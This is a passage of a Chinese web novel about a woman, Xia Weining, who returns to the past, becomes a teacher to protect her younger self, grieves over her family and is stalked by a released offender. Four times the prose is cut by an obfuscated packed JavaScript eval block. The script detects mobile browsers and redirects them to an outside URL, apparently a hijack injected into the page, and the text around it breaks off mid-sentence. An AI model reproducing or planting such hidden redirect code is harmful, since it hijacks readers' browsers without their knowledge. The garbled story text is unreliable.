笑着笑着又哭了,她以前最喜欢去奶奶家缸里翻吃的。 “你到我们这是来工作的吗?” “是,我是来当老师的。”这是她临时想的一个让人快速信服的职业。 “老师好呀,有出息。” 夏微宁笑笑,八字还没一撇呢,不过这样说她真的打算去应聘老师了,自己好歹本科毕业,在目前县城师资团队中算是高学历人才,最重要的是做老师可以近距离保护夏黎。 “现在有住的地方吗?” “还没有,我刚到,还没安排好。” “那肯定也不做饭吧。”奶奶一副我就知道的表情,“今天在我们家吃饭吧。” “合适吗?” “咋不合适,添副筷子的事。” 两人说话间隙,夏黎从外面跑回来,边跑边喊:“奶奶,我饿了。” “就知道你饿了,不饿还不知道回家。”话是这样说,手里拿吃的动作却没停。 夏黎抱住她的腰撒娇,“奶奶对我最好了。” “算你有良心。” 夏微宁局促地站在一起,曾几何时她也这般开心,现在只有羡慕的份,心里不免又泛起酸酸楚楚。 夏黎抬头看到了夏微宁,很是诧异,“姐姐,你怎么在这?” “你们认识?”老人问了一句。 夏黎点点头,“前天姐姐帮过我。” 夏黎当初还不理解她为什么不让自己出去玩,后来听说魏战的事才明白过来,心里一阵后怕,很是感激她的提醒,不过也有点好奇,她好像知道会发生什么一样。 老人闻言对夏微宁的态度更加热络,“原来还是我们家的恩人。” “您这话严重了,谈不上恩人,就随手帮个忙。” “不管怎么说,你都是帮了我们家丫头,一定要留下吃个饭,让我们表达感谢。” 夏微宁没再推辞,“好,那就麻烦了。” “不麻烦,我去做饭,你们看会电视,丫头你在这陪着。” 夏黎乖乖应下,“奶奶你放心吧。” 夏微宁的视线被奶奶的身影带走,她暗暗计算时间,心中顿时一惊。 奶奶还有3年的时间。 心中不免又变得伤感。 她回首奶奶的一生,没有享过福,活得很累,伺候全家人吃喝,她好像就没替自己活过,有一次爷爷不满意做的饭把碗扔了,她就默默捡起来,半辈子过得小心谨慎又卑微,过后大家都在批评爷爷,但那一次让夏微宁记忆深刻。 奶奶从未出过这片地方,有一次走亲戚回来甚至走丢了,她就像被圈住的候鸟,她也向往外面的世界,但因无法冲出牢笼,所以一心守在自己的领地内。 本身就有心脏病,不能干重活,她又闲不住,经常需要去卫生院输水,夏微宁还记得奶奶瘦得皮包骨头的样。 有什么好吃的她舍不得吃,都会留给家里的小孩,肉都没吃过多少,夏微宁每次星期回家的时候总会给她买点吃的。 电视机声音很大,却没有一个人在看,夏微宁看着门口默默流泪,夏黎盯着她发呆。 夏黎觉得这个姐姐真的很奇怪,不懂她的眼泪怎么就这么多。 夏微宁突然抽噎着哭出声,家里穷,被人看不起,人又少,更是被欺负,之前婶婶娘家人来家里闹,直接动手打架,奶奶被气得晕倒。 她当时也是年龄小不懂事,对奶奶说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509893|170577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要是可以,她也不在家,在这干嘛。 爷爷后来说奶奶当天一个人在厨房灶台后哭了很久,这件事一直像根刺插在夏微宁心中。 婶婶终究还是被她家人带走了,留下年幼的孩子,整个家都快散了,奶奶的身体更加不好,当时条件也不好,没办法去大医院治疗。 雪上加霜的是她进入了叛逆期,不好好上学,无视家里情况每天都想着打扮自己,当时还有关于她的风言风语,说她跟很多男生鬼混,很多人对她指指点点,在村里头都抬不起,奶奶让她注意点,她就想辍学出去打工,走之前和奶奶大吵一架,气急了直接说死也不回来。 她在外面经历了很多,也改变了很多,但她没来得及告诉奶奶。 春节没有过年回家,那时候就说奶奶身体不好在治疗,她本以为像之前一样输几天水就好了,结果在元宵节过后的第二天,突然接到消息说奶奶去世了。 奶奶是在半夜走的,一个人住在空荡的屋子里,旁边一个人都没有。 夏微宁哭得不行,这是她第一次对死亡有清晰的概念,但她接受不了。 每每想到奶奶去世前的画面,她都恨不得杀了自己。 她和奶奶最后的相处竟然是吵架,她恨自己为什么要这样做,她在无数个夜里哭着醒来,一遍遍说对不起,她不知道奶奶会不会原谅她,因为她再也听不到了。 这是她心中永远的遗憾,从那一天开始,她好像瞬间长大了,完全像变了一个人,但她心中的根结永远留下了。 她重新回到学校,开始拼命的学习,不再虚荣,不会再让家里人为难,会替别人着想而忽略自己,一系列改变叠加,她成了老师眼中的好学生,也是从那一刻起她喜欢给自己强加很多责任。 过去的不堪很多,每一个都在挤压她的呼吸空间,她觉得很绝望很窒息。 这一次她要弥补过去的遗憾,给奶奶治病,带奶奶去完成心愿。 门外传来一阵脚步声,打断她的思绪,一个伛偻的老人进来,夏微宁瞬间挺直脊背,注视着来人。 爷爷推门进来,应该是打牌回来,他看了一下夏微宁,“这是谁?” “一个帮过我的姐姐。” 爷爷笑了笑,从兜里掏出几个糖给夏黎,“都是赢的。” 那表情好不得意,夏微宁哭得眼睛火辣辣的疼,还是有眼泪流出。 因为爷爷之前也是这样对她的,把赢的糖都给她,那是他最有面的时候。 爷爷最后摸出一个糖递给夏微宁,“最后一个,你吃吧。” 夏微宁嘴唇轻轻蠕动,好多话想说都无法说出口,直接拿着糖起身跑了。 奶奶出从厨房追出来,“你不吃饭了?” “我还有事,下次吧。” 她头也不回的逃离,直到跑出很远才敢喘口气。 她本以为回到过去就可以按照自己的想法改变现状,真回来才发现什么都不用做,仅仅见到熟悉的人和物就已经占据了她所有的精力。 哪怕她是一个旁观者,还不是经历者。 靠在墙角恢复好一会,她才起身去办正事。 5. 第 5 章 新办的身份证下来了,夏微宁看着上面的名字有些恍惚。 「夏微宁」 从此,她真的只是夏微宁,不再是夏黎。 【世界微尘里,吾宁爱与憎】 这是她给自己取名夏微宁的原因,希望真能像这诗表达的一般,拥有超脱的心态,真正对人生释怀。 现阶段,她需要做的几件事,身份证已解决,工作已上交需要的材料,通过学校面试,一周内出结果,问题不大。 夏微宁没想到在这里能调取学历资料,所以一切办起来很顺利。 她这些天一直住在宾馆,现在需要去找一个住处。 住处必须距离学校和自己家都不远,她就把附近的小区都看了一眼,没几个合适的。 她来到一个小区门口,看着上面的出租信息,刚准备拨打电话,就感觉后脊背一阵发凉,扭过头去,发现魏战正盯着自己,夏微宁从容地合上手机。 都怪她这几天太忙,忘了他已经被放出来。 现在看他这架势该不是要报复自己。 她心里有点慌,面上还是装作很冷静的模样,从一旁绕过去,并不打算和他过多纠缠。 “见着老熟人,不打个招呼?” 夏微宁闻声停下脚步,淡淡一笑,“有事吗?” “你把老子害惨了,就想这么轻飘飘的算了?” 夏微宁深吸一口气,纠正他的用词,“首先是你自己害了你自己,其次,我们之间没什么好说的,有什么找警察去。” “少拿警察吓唬我。”他恨得咬牙切齿,“来日方长,我陪你慢慢玩。” 夏微宁惊出一身冷汗,她不知道魏战会怎么报复自己,第一时间想到的是不能让他知道自己和夏黎的关系。 往后几天,她出现的地方魏战都会悄悄跟着,他什么也不做就只是跟着,等她回身时给以恶狠狠的眼神。 这个眼神像钉子一样楔在她心中,以至于夜半时刻她都会梦到这个眼神,从睡梦中惊醒过来。 这次她又梦到了那个眼神,慢慢变成一只巨手掐住她的脖子,一点点用力,直到掐断她的脖子,夏微宁才从睡梦中惊醒过来。 她坐起来打开所有灯,额头上沁满汗水,顺着胸口大口大口呼吸。 夏微宁知道他是在给自己施压,一点点击垮自己的心理防线,让自己每天都生活在担惊受怕中,这是折磨人的最高手段,心理差的,不用等他出手,恐惧就能让人崩溃。 就算他什么都不做,每次只是跟着,她都感觉脖子发冷,那种被威胁的压迫感很可怕,就像在刀尖行走,不知道什么时候就会被刀刺穿脚心。 有时候她会很极端的想能不能把所有犯罪的人都枪毙,不然被害人面对的是更加可怕的报复,是无底洞的恐惧和深不可见的威胁。 冷静下来,她觉得自己不能这样被动,取来一把刀放在枕头下,心里想着实在不行就鱼死网破,大不了一死,有了最坏情况兜底,好像也就没那么怕了。 翌日,她到派出所去找郑睿,向他反应这些情况,他表示会和魏战沟通,保证她的安全。 出了派出所,夏微宁站在门口想了很久,她好像找到最合适的租房地点了。 警察家属院。 她之前怎么没想到,这个地方离学校不远,环境也可以,重点是魏战不敢到这里闹事。 心动不如行动,她刚决定就跑到小区门口,问门卫有没有出租房子的,大爷给了她几个电话,联系房主后看了几个房,最后选择了三楼的一个标间。 签了合同,交了房租,她把房屋打扫一遍,这就可以住进来了,她的东西本来就不多,两个袋子可以装完。 收拾好这一切,她的住处算是定了,终于可以安心生活了。 她现在没啥事,就想去看看夏黎,特意买了些零食,谁知道她不在家。 坐下和爷爷奶奶聊了一会,奶奶责怪她,“你来就来了,买东西干什么。” “让夏黎吃,不值什么钱的。” “以后别买了,你赚钱也不容易,要省着花。” 夏微宁突然想到小时候家里人说自己,有多少钱花多少,剩一点都嫌亏。 为了不让老人担心,也只能松口应下。 从家里出来后,夏微宁百无聊赖地在街上晃荡,看到一个小砖头,边走边踢着玩。 前面突然传来一阵笑声,她抬头寻去,看到一群小朋友在打闹,中间的就是夏黎,她正和一个男生勾肩搭背,说说笑笑。 夏微宁的眼睛中瞬间迸发出一道光,就像盯孩子早恋的家长,处处散发着警惕的光芒,她本想叫人,张嘴却觉得不合适,还是先看看是怎么回事。 防止打草惊蛇,也不想给夏黎带来危险,她只好用围巾挡住脸,猫着腰悄悄跟在身后。 “盛轩,借我点钱。” 小男孩摸摸兜,有些难为情,“我只有1块钱。” “够了。”夏黎豪爽地接过钱,“你们在这等一下。” 夏微宁抬头望了望她进的店,两元店,她进去买什么。 两元店是现在的潮流店,很受年轻学生的喜欢,更是早恋者选礼物的天堂,尤其那些爆火电视剧的同款情侣饰品,几乎人手一个。 夏微宁第一反应是夏黎买这些要送给谁,她脑海中搜索不出合适的人选,因为事情不是完全和她之前经历的一样,最明显的就是夏黎身旁叫盛轩的男孩她就不认识。 心里顿时七上八下。 她给自己定的目标就是保护好家人,首先要保护好夏黎。 不一会儿,夏黎从店里出来,手中拿着一个手链,高举着仔细观察,好像很满意的样子,笑得很开心。 盛轩嘟着嘴问了一句,“这么开心,送给谁的?” “反正不是给你的。” “给我我也不要。”盛轩很不服气。 夏黎冷哼一声,将手链塞进兜里,“少说大话,你想要也得有。” 两人关系应该不错,一直在拌嘴但谁都没有生气,勾肩搭背继续往前走,夏微宁就跟在后面。 又有两个女孩跑过来加入她们,这两个人夏微宁认识,是她的好朋友王秀涵和赵琳。 心中一时难以自已,她的好朋友现在也只是13岁的样子,也不认识她,她记得这里的一切,对这里的人来说她是一个陌生人。 每每意识到这个事实,她都需要调节内心巨大的落差。 就是她迟疑的这一会,前面的人群已消失在拐角,夏微宁本想跑着追上去,还没启动,就被人按住肩膀,动弹不得。 “谁呀?放开我。” “不能放过她,说不定是人贩子。” 周围不知道什么时候涌现出一群人,对着她指指点点。 “我不是人贩子,你放开我。” 她反应太过激烈,脸上的围巾掉下来,盛淮洲不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509894|170577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动声色地挑挑眉,对面前出现的脸即觉得意外又觉得分外合理,松开按在她肩膀上的手。 夏微宁这才看清按住自己的人是谁,除夕夜第一个负责审问她的警官,算是“老熟人”,她耸耸肩膀,自若地打招呼。 “警官,您可以替我作证,我不是什么人贩子。” 盛淮洲此刻没有穿制服,既然被点明身份,也只能公事公办。 “那你为什么要鬼鬼祟祟地跟在一群小孩子?” “你哪个眼睛看到我鬼鬼祟祟了?” 盛淮洲不屑嗤笑,“从你开始用围巾蒙着脸。” 夏微宁忍不住想说脏话,合着这男人从头到尾都在跟着她。 “我是在保护这些孩子。” “这鬼话也就你自己相信。”盛淮洲油盐不进,“跟我走一趟吧。” “我又没犯事,走什么走。”夏微宁很是无奈,“你可以叫夏黎过来,就是刚才其中一个小女孩,她可以替我证明。” 旁边热心路人开始插嘴,轻声对盛淮洲说:“不要被她骗了,一看她就不像好人。” …… 夏微宁咬牙切齿告诉自己要忍。 “谁家好人像她这样猥琐,现在人贩子张狂得狠,你们一定要当心,可要守护好我们老百姓。” 她忍不了了,凭什么平白无故被造谣。 “闭嘴,你才是人贩子,你全家都是人贩子。” 被骂的路人气得不行,“我在这住了几十年,你去打听打听,这满大街谁不认识我,倒是你,哪冒出来的黄毛丫头。” “怎么着,你年龄大就有理了?” “就是比你有理。” 夏微宁发出一声冷笑,“现在看来你不光年龄大还脸大,真会给自己贴金,你有什么证据证明你不是坏人?” “我……我,我本来就是好人。” “证据呢?”她伸出手,一副无所谓的样子,“怎么证明?” 路人气得脸都红了,她不知道怎么就要证明自己是不是好人了。 盛淮洲看不下去了,出言制止,“好了,大家都散了吧,这件事交给我处理。” “切……” “没见过这么离谱的。” “哪来的疯丫头。” 周围的人骂骂咧咧地离去。 夏黎眨着眼睛,强忍怒意,笑着问:“警官,我可以走了吗?” “你说你是为了看夏黎,那为什么要包裹得这么严实?” “因为我害怕给她惹麻烦。”夏微宁眼眸下垂,声音深沉,突然变得沉重,“我上次报警的那个人最近在盯我。” “你和夏黎什么关系?” “我很喜欢她,和她家人关系不错。” 盛淮洲眼帘微垂,突然抬眸细细打量夏微宁,他对这个说辞明显不信,但现在也没有证据。 “基于你今日的话,我必须提醒你,如果夏黎出事,你会成为主要怀疑人。” 夏微宁神情一顿,“我知道。” 她这相当于把两人捆绑了。 看着夏微宁离去的背影,盛淮洲眸光快速闪烁着。 找到几个孩子,接盛轩回家,突然又想到夏微宁,便问道:“你经常和夏黎在一块玩,有没有见过一个和我年龄差不多的女人去找她?” 盛轩歪着脑袋,认真思考一番,摇摇头,“没见过。” 闻言,盛淮洲心中的疑虑更甚。 6. 第 6 章 自从上次的事情后,夏微宁再没有跟过夏黎,她的工作有结果了,成功通过学校招聘,正式成为一名人民教师,担任历史学科老师。 她本来就很喜欢也很擅长历史,历史老师教学任务相比没那么重,所以这个工作符合她各方面的要求。 上班第一天,夏微宁早早赶到学校,找教导主任孙继梅报到,孙主任领着她与各组教师打招呼,介绍学校的相关情况。 孙继梅叫来一位年轻老师,“你陪夏老师去熟悉一下我们学校。” 被叫来的男老师很年轻,就像大学生,气质也不错,温文尔雅,脸上始终挂着淡笑,“你好,我叫周仁庭,七年级组数学老师。” 夏微宁点头问好:“我叫夏微宁,七年级组历史老师,麻烦周老师了。” “不用客气。” 两人并肩走出办公室,周仁庭把学校的点点滴滴都给她介绍得很详细,声音特别有磁性,讲话风格幽默风趣,听很久也不会烦,夏微宁心中暗暗点赞。 末了,她故意打趣他,“周老师口才真好,当语文老师也绰绰有余。” 他突然低着头笑了,“夏老师过奖了。” 夏微宁惊呆了,她竟然从他的笑中察觉出一丝腼腆。 两人来到校门口,现在正是高峰期,学生陆陆续续进校,门口站着4个老师值班,周仁庭告诉她,每个老师一星期值班一天。 夏黎和几个朋友跑着打闹,看到校门口的老师立马收敛,规规矩矩进校,只不过目光注意到一旁的夏微宁时很是震惊。 人都走过去了,还一直回头看,夏微宁故意捉弄她,做了个鬼脸,得意得朝她挥手。 夏黎知道自己被发现了,再也不敢回头看,直接撒开腿跑了。 夏微宁觉得小丫头挺有意思的,没忍住笑出声。 周仁庭关心询问,“夏老师怎么了?” “没事,想到一个笑话。” 两人都礼貌微笑,没再说话。 夏微宁为了缓解尴尬,只能四处看,装作很忙的样子。 校门口来一辆车,看到车上下来的人时,她脸上的笑瞬间凝滞,眼神逐渐充满警惕。 魏战也看到了她,他的眼神幽深又危险。 夏微宁本打算扭过头去避开,转念想已经被看见,躲避只会暴露自己的软肋,索性直面他所有的打量。 魏战是来给学校粉墙的,他手中拿着梯子和工具走进学校,路过校门口时不动声色地掠过夏微宁。 这一刻,她心里反而出奇的平静,只要保护好夏黎,她就没什么好怕的。 上班第一天,她的工作就是听课,听不同科目不同老师的课,完事再写个总结。 等她把总结上交,已经是晚自习结束的时间,收拾好东西离开学校。 “夏老师!” 夏黎在门口等她。 夏微宁当即环顾四周,没有异常才走过去,“你怎么在这?” “等你!” 夏微宁有些诧异,“找我有事?” “想和你一块回去。” 两人默契地并肩行走,并保持沉默。 走出学校很远,夏微宁才说:“你是想问我怎么变成你们学校的老师。” “你会说吗?” 夏微宁淡淡一笑,“这是我的工作选择,和你没有关系,你觉得别扭就不要把我当老师,有什么事照样可以和我说。” 夏黎抿着嘴,犹豫了很久才缓缓开口,“你为什么对我那么好?” “因为你是我到这里认识的第一个人,我很喜欢你。” “这么简单吗?” 夏微宁轻轻搂住她的肩膀,“很多事情本就不需要复杂的原因,你不要想那么多,猜来猜去只会费神,你的精力不要浪费在这。” 夏黎没说话但夏微宁知道她听进去了。 无意识中时间过得特别快,夏微宁站在路口,朝着家点点头,“快回去吧。” “都到这了,进去坐坐呗。” 夏微宁没有拒绝,这是她的家人,不需要假客气,率先走进院子,夏黎嘀嘀咕咕地跟在后面。 “真是个奇怪的人。” 只不过她的声音被突如其来的狗叫声掩盖住了。 夏黎小跑过去,欣喜地抱住小狗,亲亲举高高,“奶奶,哪来的小狗呀?” “你姑姑送来的。”奶奶从屋里走出来,看到两人,“夏老师来了,快进屋坐。” 夏微宁像没听到一样,眼睛直勾勾盯着夏黎怀中的小狗,眼泪瞬间夺眶而出,这可把奶奶吓坏了。 “夏老师,你怎么了?” 姑姑也觉得很奇怪,一个狗有什么好哭的,虽然不解还是上前关心,“你没事吧?” 看到她怀里哄睡的小娃娃,夏微宁哭得更厉害了,蹲在地上哇哇大哭。 这下直接把旁边的人吓坏了,谁也不敢动弹,目瞪口呆中满是诧异。 姑姑回过神来小声嘀咕着,“该不会精神有什么问题吧?” 奶奶忙拍打过去,“别瞎说。” 哭声很快将周围的邻居吸引过来,纷纷堵在家门口,“这是怎么了?” 夏微宁擦干眼泪,哽咽着道歉,“对不起。” 说完跑出去。 一个人奋力在街道上狂奔,风呼啸着擦肩而过,耳边是刺耳的噪音混合物,她觉得自己身处一块虚无的空间,这里只有她一个人,一点都不真实。 眼前的街道慢慢变成过去的景象,一件件旧事浮现,一次次把她里里外外剖析个遍,不断提醒她过去的自己是什么烂样。 她也不知道已经过去很久的事情,为什么记忆如此深刻,像刻进她的大脑中一般。 气喘吁吁地跑回家,手忙脚乱地打开门,颤抖着蜷缩在床上,眼神空洞而麻木,泪水一点点打湿床单。 她是那么的无助。 夏微宁觉得自己好像病了,心病,来自过去无法舍弃的牵绊。 再次想到姑姑怀里的表妹,小时候差点把她弄丢,自己要去同学家玩,就让表妹站在马路上等自己,那地方前不着村后不着店,她一玩就是一下午,天快黑了才回家,也没想着去找表妹,她理所当然的以为那么小的孩子可以自己回家。 回到家被大人追着打,她才知道是同村人路过那把表妹带回来的,她现在不敢想,把一个小孩扔在陌生的地方,她该多么恐惧,幸亏没被人贩子拐走,这是老天给她最大的幸运,不然她真的罪孽深重,一辈子都赎不了罪。 想到这,她抬手狠狠扇了自己。 她实在无法原谅自己,当初怎么会这样做,就那么心大,把一个小孩子扔在人来人往的马路上。 记忆就像洞穴,找到突破口,记忆的洪水很快就能冲塌阻碍坚固的穴壁。 夏微宁狠狠捶打着枕头,她又想起来,表妹非要和自己睡,大人不同意,小孩子哭闹得厉害,大人就开始打,很用力的打,越打哭得越狠,撕心裂肺的哭,边哭边往她那边爬边叫姐。 小孩子伸着胳膊抓她,把所有的希望寄托在她身上,明明就是一步远的地方,她却无能为力,没有伸出手,只是站着看,让大人别打了。 表妹最后还是被抱走了,她以为姐姐可以帮她,其实并没有,那一刻她是多么失望,对她幼小的心灵打击会是多大,夏微宁越想越难受,一个人躲在被窝里哭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509895|170577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第二天,夏微宁问她昨天该打疼不疼,小孩子看着她笑了笑,说“有吗,我不记得了。” 这个回答彻底刺痛了夏微宁,她永远不会忘记那个眼神。 好像一瞬间从最亲密最信任的人变成了普通关系的两个人。 夏微宁是那种特别心软又敏感的人,很容易感动,情绪也很容易上头,看个新闻都会哭得一塌糊涂。 她还有一项技能就是无端联想能力特别强。 从表妹的眼神她想到了狗的眼神,这也是她为什么看到狗也会哭的原因。 那只狗在家里养了很多年,一直都很听话也很护主,一次它生了五只小狗,要抱一只送人,它紧紧护在小狗前面,狂叫不停,夏微宁拿着棍驱赶它,其中一下重重敲在它的鼻子上,它的眼神愤怒又可怜。 夏微宁瞬间懵了,那一刻她感受到了悲伤,因为狗流泪了。 它想护住孩子,本该恶狠狠扑向掠夺者,狠狠撕咬,偏偏这个掠夺者是它的主人,它只能忍耐克制;作为母亲它不能无动于衷,所以它悲壮的叫声其实是哀求,可惜最后还是没有护住它的孩子。 夏微宁现在想起来觉得自己就是罪恶的化身,是一个凶手。 后来狗老了生病了,被卖了,它好像意识到自己的结局,走之前使劲狂叫,不知道是不舍还是恐惧。 那时候的夏微宁还没意识到这代表着什么,后来却总是时不时想起这一切,想起那个眼神,想起绝望的叫声,想起屠宰场的死亡。 她感觉心里又背上沉重的一笔,一种叫愧疚的东西在疯狂收割她的不安,让她陷入重重的后悔中。 夏微宁好像陷入一种极端的撕扯中,每次回想都是把刚结疤的伤口血淋淋地撕开,一遍又一遍,但她乐此不疲,随着最近情绪的波动和崩溃,频率逐渐频繁,美其名曰叫反思,其实是苛责,最严格的苛责。 她一向如此,对别人无底线包容,对自己从身体到心灵上都要经历无数次病态审视,她也不懂这畸形的心理从何而来,何时而起。 夏微宁觉得从某种程度上来说她是恨自己的,这就是她报复自己的方式,没有报复成功的快感和喜悦,而是在痛苦和压力中一次次释放恨意,并汇聚更大的恨意,周而复始,继而形成极端的自我鄙视心理。 这种不良心理像溃烂的伤口,长期得不到医治,反而用各种方式刺激伤口,导致其溃烂面不断扩大,一点点蚕食她的思考,不断挤压她的神经空间,让她的大脑始终处于一种高压紧绷的状态,难以脱身。 她找不到解救的方法,不管是心病难医还是久病难医,任何人都帮不了她,她只能靠自己找到走出这漩涡的良药。 很久之前她就合理怀疑自己病了,她是一个病人,病从心来,身躯被不正常的大脑支配,是一个能看得见的疯人,她潜意识里觉得自己很健康,一切都很好,和那些患有神经疾病的人不一样,所以她对各种异常视若无睹,并任由其肆意发展蔓延。 当她意识时,去看了医生,医生说她没病,只不过想的太多,心结太多,丝丝入骨环环相扣,日积月累就形成了一个结,杂乱无章的线团。 她问医生有没有救,医生笑了,说很简单,三步走,药都不需要开。 第一步放下莫名的责任感,记住自己什么都不是,不要把别人的人生当成自己的责任强加在身上,每个人有每个人的路要走,你替代不了也决定不了;第二步就是学会爱自己,爱自己是治愈一切的良药,尤其内耗焦虑;第三步降低道德责任感,人要脸但也不能太要脸,尤其这脸面影响到健康时,不要脸才能健康。 夏微宁时常思考这些话的含义,她理解但好像还做不到。 7. 第 7 章 翌日,夏微宁又回家了,姑姑已经带着表妹回家,她错过了当面向表妹道歉的机会,奶奶很担心她。 “丫头,你没事吧?” “没事。”她浅浅一笑,“我还要带您和爷爷去北京天|安|门看毛|主|席呢。” 奶奶很是震惊,“这是我们前几天说的,没几个人知道,你怎么知道的。” 她当然知道,之前奶奶说这辈子不知道能不能去趟天|安|门看毛|主|席,她拍着胸口保证说等我考上北京的大学一定带你去看。 后来她没考上北京的大学,奶奶也没等到,这也是她心中的一个遗憾。 后来她工作去了北京,第一次去天|安|门时心里念的就是:“奶奶,您看,这就是天|安|门。” 这次她不会再让遗憾延续。 包括那条狗。 夏微宁蹲下抚摸着狗背,一滴泪水缓缓坠落与狗毛混在一起。 狗很有灵性,在她身上蹭来蹭去,还伸出舌头舔她的手,奶奶笑着打趣,“这狗和你亲,好像你才是它的主人。” 夏微宁听了之后心中被密密麻麻的针刺透,疼得喘不过气来。 万物皆有灵,生命之重在于万物。 这一次她要让狗安详走到生命尽头。 哭着哭着又笑了,她这反常的举动大家都习以为常了。 奶奶说她太感性,看似很成熟,其实内心很纯真,总装做无所不能的样子,什么都会什么都懂,可眉眼间都是化不开的忧愁。 鉴于她这段时间彪悍的战绩,见谁都哭,见树哭,见狗也哭,成功打响知名度,被大家赐名小核桃,因为她的眼睛总是肿得像核桃。 由于这个昵称她和大家的关系更加熟络,几乎每天都会去看望爷爷奶奶,更是担起了夏黎的辅导工作。 经过一段时间的学习,她已经告别新手期,开始正式上课,为了上好第一课,她做了很多准备,教材背得滚瓜烂熟,各种拓展知识点也补充到位。 她的第一节课是下午第二节,一遍遍看时间,心跳逐渐加快,提前赶到教室,站在门口不断深呼吸、做心理暗示,上课铃响,推开面前的门,在一双双期待的眼睛中登上讲台。 当她站上讲台时,她已经不紧张了,与台下的学生自若对视,大方介绍自己,一切都在有条不紊地进行。 只有她自己知道心里多激动也很难克制,这可能就是讲台的魔力更是教师这个职业天然的神圣感。 一节课结束,所有人站起来和她说再见,那一刻她的自豪感油然而生,她的第一堂课成功了。 整个人像中了大彩票般神清气爽,哼着歌曲回到办公室。 一群人围上来打探消息,有老师推搡她的肩膀起哄,“你看看她这得意的样子,看来效果不错。” 夏微宁给她一个‘那还用说’的笑。 “我就说她没问题的。” “我们下班去聚餐吧,就当是为夏老师庆祝。” 夏微宁瞬间收起脸上的笑容,急忙挥手拒绝,“这不太合适吧。” “没什么不合适,就这样说定了,饭店我来订。” 说话的老师叫谭娅,是七年级语文组组长,说话办事都很干练。 夏微宁想看其他老师的反应,结果大部分都赞成,大家齐声说:“那就麻烦谭老师了。” 这样她也就不好再拒绝,决定跟大家一块去聚餐。 细细回味后,夏微宁突然笑了,有人给自己庆祝确实是一件值得高兴的事。 她还挺喜欢这里的工作氛围。 下课后,几人在校门口等教导主任张继梅,谭娅看出夏微宁有些紧张,小声开玩笑帮她化解,“主任不吃人,很随和的,你不用拘束。” 夏微宁重重地点点头,心中既惊讶于她的敏感又感谢她的救场。 她活动活动脸上紧绷的肌肉,缓缓舒口气,调整好状态。 主要是她一直都不太会与领导相处,总有种过分的尊敬,没有把自己放在平等的位置上。 主任走过来,笑盈盈地站在她面前,“夏老师,今天你是主角,我们都是沾你的光。” “是大家抬举我,我应该谢谢大家。” “以后都是同事了,用不着客气。”主任说着手指向各位老师,假装威胁道:“可别让我发现你们欺负新同事。” “主任,您说哪的话,这么漂亮的女同事,我们喜欢还来不来呢。” 谭娅一把揽过夏微宁,“我罩着她,没人敢欺负她。” 大家说说笑笑往饭店走,夏微宁眼眶有些湿润,大家的态度让她受宠若惊。 她们说到做到,完全把夏微宁当作主角,点菜全交给她,对一个新人来说压力着实不小,她根本不知道大家的喜好,最后还是谭娅出手帮她摆平。 夏微宁很感激谭娅,在心里偷偷将她划入朋友阵营。 饭局过半,话题终于回归“正题”,张主任率先发问,“小夏,你有男朋友吗?” “没有。” “你今年多大?” “28” 张主任若有所思地点点头,“你有啥要求没?” 夏微宁知道这架势是要给她介绍对象,她这情况已经属于大龄未婚女青年。 “没啥要求,合适就好。”她敷衍着回了一句。 张主任却听进心里了,号召大家有合适的一定要张罗着介绍给她。 夏微宁简直哭笑不得,碰到热心可爱的同事也是一种幸福的烦恼。 饭局结束后,周仁庭提出要送她回去,考虑到两人的方向实在不顺路,便婉言拒绝。 夏微宁看了眼时间,晚上9点多,街上已经没什么行人,很是冷清,风呼呼的吹,她裹紧身上的衣服,弓着腰快步往家赶。 她的警惕性本就高,尤其是在这种寂静无人的环境里,一点轻微的响动都能引起她的注意力。 不知道是风声还是这么有人,她老能听到身后有细碎的脚步声。 整个人瞬间变身炸毛的猫,充满警备。 她一次次扭头探查,身后都空无一物,她也不想再追究到底有没有,赶紧离开是正道。 脚步越来越快,双脚都快缠在一起,差点摔倒,果然是越紧张越出错,夏微宁顾不得其他,撒腿就跑。 风吹得脸生疼,嗓子眼又干又疼,但她还是不敢松懈,拼命往前跑。 小时候最怕的梦境现实中上演,后头危险逼近,前路未知,她只能奋力奔跑,稍微慢点就会被抓到,她不敢想,恐惧和绝望笼罩着她。 身后的脚步声越来越近,她已经没有力气了,只能咬牙坚持。 跑过一条条街道,小区就在不远处,她的身体已经疲惫到极点。 她告诉自己不能就这样放弃,她重回旧年是为了改变命运,绝不能发生意外。 夏微宁用尽全身力气倒在小区门口,还有几步,她实在没力气了,浑身酸疼,捡起一块小石子砸向小区的铁门上,用虚弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 